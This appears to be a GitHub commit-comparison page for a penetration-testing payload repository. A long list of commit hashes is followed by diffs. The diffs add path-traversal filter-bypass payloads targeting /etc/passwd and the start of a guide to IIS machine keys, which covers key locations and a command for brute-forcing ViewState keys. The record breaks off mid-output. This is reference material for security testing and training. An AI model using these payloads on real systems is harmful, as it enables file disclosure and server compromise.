Compare commits
619 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
38716075f0 | ||
|
|
e42edaab74 | ||
|
|
32d9f7550d | ||
|
|
8c09568cb2 | ||
|
|
8b27a177c2 | ||
|
|
29f46934ac | ||
|
|
6795bee1c4 | ||
|
|
801aecb2ba | ||
|
|
e6466b4cf9 | ||
|
|
a16f8a6de1 | ||
|
|
57f7c8ddad | ||
|
|
9425cec068 | ||
|
|
6bfad6a84d | ||
|
|
35109b4154 | ||
|
|
4e03772f4a | ||
|
|
0108d01571 | ||
|
|
98cfc9ce8c | ||
|
|
846706b87d | ||
|
|
9932059563 | ||
|
|
b98f8ca587 | ||
|
|
3c5bab0338 | ||
|
|
9a908a15d2 | ||
|
|
67af38aa4e | ||
|
|
f57d0813ca | ||
|
|
cde11da0c7 | ||
|
|
8bc33f8bb7 | ||
|
|
a6b3b9dd05 | ||
|
|
f333d48960 | ||
|
|
dc349c10c3 | ||
|
|
d6ce9cd317 | ||
|
|
118924f291 | ||
|
|
0a5ecc407c | ||
|
|
48a4e5c95b | ||
|
|
a338b2f12a | ||
|
|
1a3e605d64 | ||
|
|
2304101657 | ||
|
|
2deb20a6f1 | ||
|
|
d80f73a829 | ||
|
|
c82cd6408a | ||
|
|
70fb63a9bf | ||
|
|
4f0e6334bd | ||
|
|
5c60cd7b61 | ||
|
|
37641d2b9e | ||
|
|
b2bb1df9a9 | ||
|
|
ffa5ea764a | ||
|
|
df8d4d7f27 | ||
|
|
9ed40edfca | ||
|
|
a590290016 | ||
|
|
b80b72d3a3 | ||
|
|
ccffaa5019 | ||
|
|
7e390265a0 | ||
|
|
e47391b12b | ||
|
|
e138308d3d | ||
|
|
4dc409d31e | ||
|
|
138fbd97f9 | ||
|
|
21dfd91180 | ||
|
|
51fe542992 | ||
|
|
ff88aa1f45 | ||
|
|
a5de8cf062 | ||
|
|
944fe0db7b | ||
|
|
d77ef2c4fc | ||
|
|
b29edefe09 | ||
|
|
11d1704f42 | ||
|
|
6e77f624f2 | ||
|
|
9866fef5b4 | ||
|
|
d0c4454ef2 | ||
|
|
88ab5228b4 | ||
|
|
a4277d5e5e | ||
|
|
eb4795047b | ||
|
|
89c4098dc2 | ||
|
|
7efac5129b | ||
|
|
e3877d1979 | ||
|
|
acb509d436 | ||
|
|
53ba2932ab | ||
|
|
eca0bd1b36 | ||
|
|
6b8ca37452 | ||
|
|
690c7764eb | ||
|
|
f11771b866 | ||
|
|
873ac0e727 | ||
|
|
223d6183eb | ||
|
|
ca41c9e848 | ||
|
|
0f621e67d1 | ||
|
|
98db867333 | ||
|
|
6cbf58e5b0 | ||
|
|
6ee918b060 | ||
|
|
7ec97bb77e | ||
|
|
25a664625d | ||
|
|
faeee7270a | ||
|
|
37f0740d07 | ||
|
|
bd7bd812ae | ||
|
|
b57475f34f | ||
|
|
8ececca282 | ||
|
|
2fa9441e37 | ||
|
|
c4a19f8a2a | ||
|
|
04eb1eb12d | ||
|
|
d5a6811193 | ||
|
|
d90c73c7ef | ||
|
|
975dde665a | ||
|
|
c5802aad67 | ||
|
|
541d89be64 | ||
|
|
3eae8d7458 | ||
|
|
6602d48fad | ||
|
|
99f3557415 | ||
|
|
77f83c18b3 | ||
|
|
d75e4fa525 | ||
|
|
1dae291696 | ||
|
|
0aac7e8267 | ||
|
|
80707e805b | ||
|
|
1a475b6e1d | ||
|
|
b521dedb24 | ||
|
|
4cf17a3fab | ||
|
|
8e05a2dd2a | ||
|
|
ca3ab6eb95 | ||
|
|
314e4da963 | ||
|
|
7e4a38a1a5 | ||
|
|
eca067dd7e | ||
|
|
c34a2bac15 | ||
|
|
2e73069238 | ||
|
|
6d3fef0df3 | ||
|
|
cb69cecd11 | ||
|
|
25c94f809a | ||
|
|
fcf69f8226 | ||
|
|
b5251a673f | ||
|
|
ded1d95735 | ||
|
|
67adf75bc2 | ||
|
|
c3af630e1d | ||
|
|
867f243100 | ||
|
|
f723bcbf8a | ||
|
|
670b301b1c | ||
|
|
33d9e24bed | ||
|
|
7a68102a3c | ||
|
|
53d9014b2b | ||
|
|
43a8c6a037 | ||
|
|
b245d3cbdd | ||
|
|
293723d49d | ||
|
|
dc461f170e | ||
|
|
9571306b9f | ||
|
|
3c9fdec3da | ||
|
|
80dda8beeb | ||
|
|
8ef458db2a | ||
|
|
d834abe43c | ||
|
|
b19dc0626a | ||
|
|
55afcb12fb | ||
|
|
9cabd995fb | ||
|
|
0d98284034 | ||
|
|
033982dc30 | ||
|
|
dd2b68b70e | ||
|
|
97cfeee270 | ||
|
|
12c6531ad2 | ||
|
|
c852118ec8 | ||
|
|
4b77292aeb | ||
|
|
05f441accf | ||
|
|
c6f96f7b2a | ||
|
|
f96c1e4356 | ||
|
|
3d9363fdc9 | ||
|
|
08063f0830 | ||
|
|
27d19813f8 | ||
|
|
cbc6e78d2a | ||
|
|
845fa52f8b | ||
|
|
5c42373a25 | ||
|
|
9fc0acc7e0 | ||
|
|
c579e6d043 | ||
|
|
838d7c8c65 | ||
|
|
b07c5df892 | ||
|
|
4a66a4ed25 | ||
|
|
1c42bfe5ca | ||
|
|
db1357bb3c | ||
|
|
57703ed7ed | ||
|
|
bb71d4ad14 | ||
|
|
4684fed4aa | ||
|
|
d93a228b40 | ||
|
|
3ba405954a | ||
|
|
711b44c6b0 | ||
|
|
ae3f91c88a | ||
|
|
d80068cc1b | ||
|
|
49bc19e992 | ||
|
|
46208ca898 | ||
|
|
ed081d7f29 | ||
|
|
95a85b455d | ||
|
|
072cac04d6 | ||
|
|
156990a2c6 | ||
|
|
4500fdc447 | ||
|
|
85871c6c14 | ||
|
|
07cf2831ca | ||
|
|
85310ba8e5 | ||
|
|
3ad350b753 | ||
|
|
0f085798c7 | ||
|
|
ccccb34c61 | ||
|
|
c95a0a1a28 | ||
|
|
6c38c3cdda | ||
|
|
d052949a6b | ||
|
|
4b6db7b471 | ||
|
|
51e8dc6378 | ||
|
|
82c3cd92d1 | ||
|
|
eebea7cb4d | ||
|
|
886b64801d | ||
|
|
46e446a06f | ||
|
|
e86f221fe8 | ||
|
|
5556f6ff79 | ||
|
|
7f1823efbe | ||
|
|
dd7525dc8f | ||
|
|
a95f11b32e | ||
|
|
103f41898b | ||
|
|
12e56724f1 | ||
|
|
19f138d4ad | ||
|
|
a90cb7f2c7 | ||
|
|
5115ac95e8 | ||
|
|
2b54b5034f | ||
|
|
ce4affc79b | ||
|
|
ad93bb5e22 | ||
|
|
bd42625b32 | ||
|
|
a71a793648 | ||
|
|
37a4f8c977 | ||
|
|
892c68e6e7 | ||
|
|
837f220264 | ||
|
|
55edc9fc74 | ||
|
|
d142587f28 | ||
|
|
a0475a2f45 | ||
|
|
485103e9bb | ||
|
|
84569e18e4 | ||
|
|
0cea24cfcb | ||
|
|
2aaeac91f8 | ||
|
|
83f1af0af0 | ||
|
|
e9fb4f100c | ||
|
|
59640ba51a | ||
|
|
64a6e3eb04 | ||
|
|
811d71026f | ||
|
|
9574af9dd1 | ||
|
|
ed7c3a4e0c | ||
|
|
c7549916b8 | ||
|
|
cf9b9bf70c | ||
|
|
f9a2880ad5 | ||
|
|
c030379871 | ||
|
|
a0c14e5299 | ||
|
|
34da0e2708 | ||
|
|
7752ff806f | ||
|
|
e879ca42a3 | ||
|
|
339a51cd0d | ||
|
|
53ec79abd0 | ||
|
|
930044d7c1 | ||
|
|
9db39952e7 | ||
|
|
d5922f421c | ||
|
|
63379b9291 | ||
|
|
b0dfcfd438 | ||
|
|
e2e2da74ce | ||
|
|
aea130a1ac | ||
|
|
538a7b024b | ||
|
|
273da9e1b5 | ||
|
|
d642e97d8d | ||
|
|
20b8870123 | ||
|
|
e366ef9a13 | ||
|
|
e80702d599 | ||
|
|
4336cb1fd5 | ||
|
|
b715364547 | ||
|
|
52ef85a830 | ||
|
|
fbc43be79f | ||
|
|
87e6f55e16 | ||
|
|
359b9b435e | ||
|
|
3de6c41823 | ||
|
|
6d12abb4ec | ||
|
|
d5f85f13d5 | ||
|
|
cd19bb9409 | ||
|
|
b68ce28c4b | ||
|
|
86e246dd03 | ||
|
|
0a75beeccd | ||
|
|
fa3cf25c55 | ||
|
|
f723ef4878 | ||
|
|
9711417161 | ||
|
|
a8161ef48c | ||
|
|
bb3f865e10 | ||
|
|
384f54af54 | ||
|
|
391b18cf20 | ||
|
|
70396ec71d | ||
|
|
ec11a14e4e | ||
|
|
de8d4796af | ||
|
|
35b0d672f0 | ||
|
|
113afae290 | ||
|
|
5ddd8e04da | ||
|
|
e9c1ce1c09 | ||
|
|
fc36b38430 | ||
|
|
726de9e9b2 | ||
|
|
10df57a531 | ||
|
|
de6e91657d | ||
|
|
f0d02d2414 | ||
|
|
aba6f1e731 | ||
|
|
93fa4df7cd | ||
|
|
3e8a39a87d | ||
|
|
e17b6e1ac4 | ||
|
|
598d2ca3fa | ||
|
|
b8c803717a | ||
|
|
226569b753 | ||
|
|
f85f2cb4c6 | ||
|
|
83b2d80a56 | ||
|
|
0a07e07d00 | ||
|
|
6adfe5d865 | ||
|
|
af4ade2a44 | ||
|
|
b3f98adf0c | ||
|
|
8d2c30e969 | ||
|
|
9c2b040242 | ||
|
|
5af6a23a2e | ||
|
|
0dd92aa89d | ||
|
|
8156f495fb | ||
|
|
55df53105e | ||
|
|
c1dc141e13 | ||
|
|
1e66a42bba | ||
|
|
0f4d747913 | ||
|
|
8b543c80aa | ||
|
|
2a4ce78080 | ||
|
|
b0445a7250 | ||
|
|
47df1695a1 | ||
|
|
e717839fda | ||
|
|
6861c46fcd | ||
|
|
c3f5da6014 | ||
|
|
25d2be529f | ||
|
|
ff6c22b86e | ||
|
|
3c7c863233 | ||
|
|
14c6c9642d | ||
|
|
87e78b4c4b | ||
|
|
86cc53244d | ||
|
|
30d17b4924 | ||
|
|
0a70636d28 | ||
|
|
d040c0e677 | ||
|
|
fddd094ee1 | ||
|
|
dd0c23f9a2 | ||
|
|
723b3213b2 | ||
|
|
579207aa8f | ||
|
|
d5729888c3 | ||
|
|
b88457367b | ||
|
|
5e8737485b | ||
|
|
648f4ad2ca | ||
|
|
084efe8a6b | ||
|
|
f379b60ef1 | ||
|
|
5817de1fb2 | ||
|
|
e43f1527c0 | ||
|
|
2a3d175620 | ||
|
|
776b2bd934 | ||
|
|
5f8b3f8a14 | ||
|
|
7ef9babc9f | ||
|
|
9bdfa7f8c7 | ||
|
|
ecc241d17e | ||
|
|
d57dcabf46 | ||
|
|
c9d0878817 | ||
|
|
2a65b59c01 | ||
|
|
a38701a7e2 | ||
|
|
d3ccbb5370 | ||
|
|
cedf4aa9f6 | ||
|
|
8442b304c9 | ||
|
|
411f2455a9 | ||
|
|
ae46ac0338 | ||
|
|
73996ea52a | ||
|
|
36e135776f | ||
|
|
da42d27a3c | ||
|
|
f1a85f22b9 | ||
|
|
5cd5de6803 | ||
|
|
9a511046ae | ||
|
|
c08949fdc2 | ||
|
|
2089c5efb1 | ||
|
|
14cc88371d | ||
|
|
ccae5a6e09 | ||
|
|
8c88590d7c | ||
|
|
b03250a4f6 | ||
|
|
ce40e39dcc | ||
|
|
4451d4919a | ||
|
|
89782643c9 | ||
|
|
d0067e13d5 | ||
|
|
a8bef1873a | ||
|
|
b75913ca8f | ||
|
|
d23794be0f | ||
|
|
230f8c3688 | ||
|
|
563a1b2a1d | ||
|
|
99ff1f94b3 | ||
|
|
442d253936 | ||
|
|
1a9bfdd86f | ||
|
|
8caba394d5 | ||
|
|
b27ba26af9 | ||
|
|
8e0ce56e5d | ||
|
|
3a97ad3f41 | ||
|
|
d4742a9688 | ||
|
|
095024f960 | ||
|
|
418ff228d0 | ||
|
|
b7df4cb6e8 | ||
|
|
aa8950a273 | ||
|
|
834c6bca20 | ||
|
|
5190829ab4 | ||
|
|
ec7c363aba | ||
|
|
996c83bb4b | ||
|
|
4888188ce4 | ||
|
|
f318f8bcc0 | ||
|
|
29c23ac7fd | ||
|
|
514ac98dac | ||
|
|
a1c5926f31 | ||
|
|
749420fdd2 | ||
|
|
6709d543f4 | ||
|
|
2f923463a2 | ||
|
|
d67ec2469c | ||
|
|
183876f660 | ||
|
|
f8ab0ca3bb | ||
|
|
cbb2137f3b | ||
|
|
2ed3c03e78 | ||
|
|
5966c3a21b | ||
|
|
4ca065f8ed | ||
|
|
6f265dedd6 | ||
|
|
b7f6f72d09 | ||
|
|
95e989f5a1 | ||
|
|
e5ea12a3ca | ||
|
|
3e9ef2efbe | ||
|
|
0212830fb4 | ||
|
|
eea32c0d15 | ||
|
|
47254d0244 | ||
|
|
2d67b675aa | ||
|
|
c14392731c | ||
|
|
e5a18a72c2 | ||
|
|
c1d1c9fcbc | ||
|
|
c17ae602fc | ||
|
|
030ba1f196 | ||
|
|
18c656f756 | ||
|
|
598751f7c6 | ||
|
|
2d3f02a795 | ||
|
|
a287736a3a | ||
|
|
d46b436d6c | ||
|
|
e556e9ad40 | ||
|
|
3dd7f46717 | ||
|
|
2227472e1c | ||
|
|
0af790ad5b | ||
|
|
11fbceca31 | ||
|
|
b672771a1b | ||
|
|
0381fd34f9 | ||
|
|
6394757dc3 | ||
|
|
8136e462c2 | ||
|
|
3822c27634 | ||
|
|
a7d774cd15 | ||
|
|
501975a330 | ||
|
|
d999f798d7 | ||
|
|
5754ed82ee | ||
|
|
916c1079c6 | ||
|
|
7ada8ef9ea | ||
|
|
3adbd70b01 | ||
|
|
b00ba7f38d | ||
|
|
9128b183d3 | ||
|
|
fe41254fde | ||
|
|
35ff178624 | ||
|
|
1e01f83c74 | ||
|
|
37da322136 | ||
|
|
c5146f5dc8 | ||
|
|
a43897a473 | ||
|
|
22fe4d16e2 | ||
|
|
9f37576173 | ||
|
|
a33e4006f8 | ||
|
|
5ca6c9a22b | ||
|
|
def7c40830 | ||
|
|
1dc5054c4d | ||
|
|
8df30de938 | ||
|
|
1b037a9c64 | ||
|
|
4e5521deae | ||
|
|
2fc3eed8a5 | ||
|
|
8df0f565f3 | ||
|
|
b7043cfedd | ||
|
|
3a815e6201 | ||
|
|
7bbbbd1d83 | ||
|
|
78ff651643 | ||
|
|
a794c57994 | ||
|
|
a8d8434756 | ||
|
|
fbed4254e5 | ||
|
|
9ee8f092cd | ||
|
|
9a42be1113 | ||
|
|
f23f28c4e2 | ||
|
|
5d561ea7d6 | ||
|
|
6479c3a400 | ||
|
|
34128314d3 | ||
|
|
31363e016b | ||
|
|
b809e104e6 | ||
|
|
26cc3629ce | ||
|
|
f18d4991ff | ||
|
|
aca668fcdd | ||
|
|
5480c40098 | ||
|
|
ad5bbd49f1 | ||
|
|
f7a74feaf7 | ||
|
|
6dd5c18b45 | ||
|
|
d88e32aaae | ||
|
|
3392980207 | ||
|
|
4a1ba26326 | ||
|
|
5e3d1d80c8 | ||
|
|
b08600d56d | ||
|
|
3f3736471e | ||
|
|
77dc5e3ff1 | ||
|
|
ecca4ec5e4 | ||
|
|
0530c19c88 | ||
|
|
4b4a630085 | ||
|
|
c82ec3a902 | ||
|
|
a07468af9b | ||
|
|
5cdc02282c | ||
|
|
d214af633c | ||
|
|
ea86f20472 | ||
|
|
cabc51e43b | ||
|
|
522b55eec5 | ||
|
|
c06dfbec95 | ||
|
|
00189411d4 | ||
|
|
347381d6dc | ||
|
|
ba9eb30940 | ||
|
|
69c6ee87c6 | ||
|
|
655cec1f1a | ||
|
|
2c10b28976 | ||
|
|
666a90ffee | ||
|
|
7e82d93897 | ||
|
|
2aa353a5b9 | ||
|
|
a766679356 | ||
|
|
643374e1d7 | ||
|
|
2d03a74555 | ||
|
|
44d761eb2c | ||
|
|
3022c25995 | ||
|
|
c420ed6bf7 | ||
|
|
a1c783d8d2 | ||
|
|
a5c91d8ed3 | ||
|
|
77b0599653 | ||
|
|
950114b9e6 | ||
|
|
f8d04cef3b | ||
|
|
6bbdc85aa2 | ||
|
|
576322d475 | ||
|
|
bbe4bbce05 | ||
|
|
99a1304af9 | ||
|
|
3f1689b9bc | ||
|
|
4ed3e3b6b9 | ||
|
|
444d8ad169 | ||
|
|
6b9f6de7dd | ||
|
|
a670a26eea | ||
|
|
1659e7c50e | ||
|
|
bd6a1b759a | ||
|
|
9f0c70d46f | ||
|
|
9d1421a6c3 | ||
|
|
b7d275d5b0 | ||
|
|
72a8556dc9 | ||
|
|
7a528ccb3f | ||
|
|
7e2fa15462 | ||
|
|
2d30e22121 | ||
|
|
6b76c452a7 | ||
|
|
8d564ff78b | ||
|
|
097756da1c | ||
|
|
3e68276fb7 | ||
|
|
c3421582bc | ||
|
|
885f8bdb8f | ||
|
|
267713c0fb | ||
|
|
e677f07197 | ||
|
|
b4e7add674 | ||
|
|
d5aed653e8 | ||
|
|
b8afbc8f92 | ||
|
|
c7dd67986c | ||
|
|
d32c48bad8 | ||
|
|
88134256c8 | ||
|
|
0ca060c049 | ||
|
|
aa89a909d1 | ||
|
|
38fa931b84 | ||
|
|
7663594118 | ||
|
|
e11a37e6a2 | ||
|
|
d24e3f2d61 | ||
|
|
b6e7210ee0 | ||
|
|
86e8feca7c | ||
|
|
26e9cb6dc1 | ||
|
|
fb7f10eab8 | ||
|
|
8d609b1460 | ||
|
|
84fa229a44 | ||
|
|
3e8ef29223 | ||
|
|
dad7362da6 | ||
|
|
191a72c57e | ||
|
|
2be739ea4f | ||
|
|
bdc2d55dd9 | ||
|
|
9e2471a472 | ||
|
|
fae02107df | ||
|
|
4bc5f724b2 | ||
|
|
811863501b | ||
|
|
b1c46228c2 | ||
|
|
7850928d41 | ||
|
|
871b3bcaf2 | ||
|
|
343d63f79f | ||
|
|
fbd7517e04 | ||
|
|
e7af5aeb84 | ||
|
|
961d935623 | ||
|
|
b25f461b6e | ||
|
|
8d70f262ae | ||
|
|
804920be62 | ||
|
|
abc78a6a67 | ||
|
|
b3e6220da6 | ||
|
|
6650c361e7 | ||
|
|
55e05b4b17 | ||
|
|
1bd82af11e | ||
|
|
418285b7f6 | ||
|
|
f82efffbc7 | ||
|
|
0d9a2354e5 | ||
|
|
683167d4e9 | ||
|
|
11271d9072 | ||
|
|
fa849c00f2 | ||
|
|
919fee6320 | ||
|
|
31b213227e | ||
|
|
fc1f3b25a7 | ||
|
|
55c9689487 | ||
|
|
1b2471265a | ||
|
|
9d274a39a4 | ||
|
|
7fe0a0475e | ||
|
|
835d6fffe0 | ||
|
|
52e255cb75 | ||
|
|
fe1fa242ba | ||
|
|
bb6c9ed172 | ||
|
|
310338b279 | ||
|
|
e386a110d9 | ||
|
|
83c4658ff8 | ||
|
|
33d632df4e | ||
|
|
820147466a | ||
|
|
7ad7ae722d | ||
|
|
7b79bce819 | ||
|
|
d9921e370b | ||
|
|
d0a198ffee | ||
|
|
f6c455d8f9 | ||
|
|
eb933317d0 | ||
|
|
af973ef0ad | ||
|
|
507c493db2 | ||
|
|
3c441669d8 | ||
|
|
342b1f4f60 | ||
|
|
410758cf80 | ||
|
|
b1ce7a2547 | ||
|
|
35e64b2275 |
6
.github/.markdownlint.json
vendored
Normal file
6
.github/.markdownlint.json
vendored
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"MD013": false,
|
||||||
|
"ul-indent": {
|
||||||
|
"indent": 4
|
||||||
|
}
|
||||||
|
}
|
||||||
3
.github/FUNDING.yml
vendored
3
.github/FUNDING.yml
vendored
@@ -1,5 +1,4 @@
|
|||||||
# These are supported funding model platforms
|
# These are supported funding model platforms
|
||||||
|
|
||||||
github: swisskyrepo
|
github: swisskyrepo
|
||||||
ko_fi: swissky # Replace with a single Ko-fi username
|
ko_fi: swissky
|
||||||
custom: https://www.buymeacoffee.com/swissky
|
custom: https://www.buymeacoffee.com/swissky
|
||||||
8
.github/hopla_config.json
vendored
8
.github/hopla_config.json
vendored
@@ -315,6 +315,14 @@
|
|||||||
"name": "Filter Bypass 2",
|
"name": "Filter Bypass 2",
|
||||||
"value": "..///////..////..//////etc/passwd"
|
"value": "..///////..////..//////etc/passwd"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "Filter Bypass 3",
|
||||||
|
"value": "...//...//etc/passwd"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Filter Bypass 4",
|
||||||
|
"value": "%252f..%252f..%252f..%252f..%252fetc/passwd"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "Filter Bypass 3",
|
"name": "Filter Bypass 3",
|
||||||
"value": "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
|
"value": "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
|
||||||
|
|||||||
28
.github/overrides/main.html
vendored
Normal file
28
.github/overrides/main.html
vendored
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
{{ super() }}
|
||||||
|
<div class="social-container">
|
||||||
|
<b>Share this content</b>
|
||||||
|
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
|
||||||
|
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
|
||||||
|
<a class="a2a_button_x"></a>
|
||||||
|
<a class="a2a_button_telegram"></a>
|
||||||
|
<a class="a2a_button_linkedin"></a>
|
||||||
|
<a class="a2a_button_email"></a>
|
||||||
|
<a class="a2a_button_microsoft_teams"></a>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<script async src="https://static.addtoany.com/menu/page.js"></script>
|
||||||
|
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
|
||||||
|
</div>
|
||||||
|
{% endblock %}
|
||||||
|
|
||||||
|
{% block styles %}
|
||||||
|
{{ super() }}
|
||||||
|
<style>
|
||||||
|
.social-container {
|
||||||
|
float: right;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
{% endblock %}
|
||||||
23
.github/workflows/check-markdown.yml
vendored
Normal file
23
.github/workflows/check-markdown.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
name: check-markdown
|
||||||
|
on: [pull_request]
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
lint:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
|
||||||
|
- uses: tj-actions/changed-files@v45
|
||||||
|
id: changed-files
|
||||||
|
with:
|
||||||
|
files: '**/*.md'
|
||||||
|
separator: ","
|
||||||
|
|
||||||
|
- uses: DavidAnson/markdownlint-cli2-action@v17
|
||||||
|
if: steps.changed-files.outputs.any_changed == 'true'
|
||||||
|
with:
|
||||||
|
globs: ${{ steps.changed-files.outputs.all_changed_files }}
|
||||||
|
separator: ","
|
||||||
|
config: ./.github/.markdownlint.json
|
||||||
35
.github/workflows/mkdocs-build.yml
vendored
Normal file
35
.github/workflows/mkdocs-build.yml
vendored
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
name: mkdocs-build
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
deploy:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
# Checks-out submodules
|
||||||
|
- uses: actions/checkout@v2
|
||||||
|
- name: Checkout submodules
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
git config --global user.email "no-reply@github.com"
|
||||||
|
git config --global user.name "Swk"
|
||||||
|
git config --global pull.rebase false
|
||||||
|
git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
|
||||||
|
mv docs/.github/overrides .
|
||||||
|
|
||||||
|
- uses: actions/setup-python@v2
|
||||||
|
with:
|
||||||
|
python-version: 3.x
|
||||||
|
- run: pip install mkdocs-material
|
||||||
|
- run: pip install mkdocs-git-revision-date-localized-plugin
|
||||||
|
- run: pip install mkdocs-git-committers-plugin
|
||||||
|
- run: pip install mkdocs-material[imaging]
|
||||||
|
- run: pip install mdx_truly_sane_lists
|
||||||
|
- run: mkdocs gh-deploy --force
|
||||||
|
|
||||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -1,4 +1,3 @@
|
|||||||
BuildPDF/
|
BuildPDF/
|
||||||
.vscode
|
.vscode
|
||||||
.todo
|
.todo
|
||||||
AWS Amazon Lambda/
|
|
||||||
202
API Key Leaks/IIS-Machine-Keys.md
Normal file
202
API Key Leaks/IIS-Machine-Keys.md
Normal file
@@ -0,0 +1,202 @@
|
|||||||
|
# IIS Machine Keys
|
||||||
|
|
||||||
|
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Viewstate Format](#viewstate-format)
|
||||||
|
* [Machine Key Format And Locations](#machine-key-format-and-locations)
|
||||||
|
* [Identify Known Machine Key](#identify-known-machine-key)
|
||||||
|
* [Decode ViewState](#decode-viewstate)
|
||||||
|
* [Generate ViewState For RCE](#generate-viewstate-for-rce)
|
||||||
|
* [MAC Is Not Enabled](#mac-is-not-enabled)
|
||||||
|
* [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
|
||||||
|
* [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
|
||||||
|
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Viewstate Format
|
||||||
|
|
||||||
|
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
|
||||||
|
|
||||||
|
| Format | Properties |
|
||||||
|
| --- | --- |
|
||||||
|
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
|
||||||
|
| Base64 + MAC | `EnableViewStateMac=True` |
|
||||||
|
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
|
||||||
|
|
||||||
|
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
|
||||||
|
Usually unencrypted viewstate are starting with the string `/wEP`.
|
||||||
|
|
||||||
|
|
||||||
|
## Machine Key Format And Locations
|
||||||
|
|
||||||
|
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
|
||||||
|
|
||||||
|
The format of a machineKey is the following.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
|
||||||
|
```
|
||||||
|
|
||||||
|
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
|
||||||
|
|
||||||
|
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
|
||||||
|
|
||||||
|
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
|
||||||
|
|
||||||
|
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
|
||||||
|
|
||||||
|
The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||||
|
```
|
||||||
|
|
||||||
|
Common locations of **web.config** / **machine.config**
|
||||||
|
|
||||||
|
* 32-bits
|
||||||
|
* `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
|
||||||
|
* `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
|
||||||
|
* 64-bits
|
||||||
|
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
|
||||||
|
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
|
||||||
|
* in the registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
||||||
|
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
|
||||||
|
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
|
||||||
|
|
||||||
|
|
||||||
|
## Identify Known Machine Key
|
||||||
|
|
||||||
|
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
|
||||||
|
|
||||||
|
* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
|
||||||
|
____ ____.__ __ .__ __
|
||||||
|
\ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
|
||||||
|
\ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
|
||||||
|
\ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
|
||||||
|
\___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
|
||||||
|
